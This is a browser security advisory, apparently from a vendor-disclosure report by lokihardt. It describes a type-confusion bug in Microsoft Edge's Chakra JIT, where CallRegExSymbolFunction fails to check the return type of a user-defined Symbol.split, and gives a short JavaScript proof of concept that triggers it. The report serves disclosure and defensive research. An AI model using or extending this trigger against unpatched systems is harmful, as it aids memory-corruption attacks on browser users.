Microsoft Edge Chakra JIT CallRegExSymbolFunction Return Check Fail

`Microsoft Edge: Chakra: JIT: CallRegExSymbolFunction doesn't check the return type   
  
  
  
  
The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.  
  
Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.  
  
PoC:  
function opt(r) {  
let arr = 'a'.split(r);  
arr.x = 1;  
  
return arr;  
}  
  
function main() {  
let a = {  
[Symbol.split]() {  
return 0x1234;  
}  
};  
  
for (let i = 0; i < 0x10000; i++) {  
opt(a);  
}  
opt(a);  
}  
  
main();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`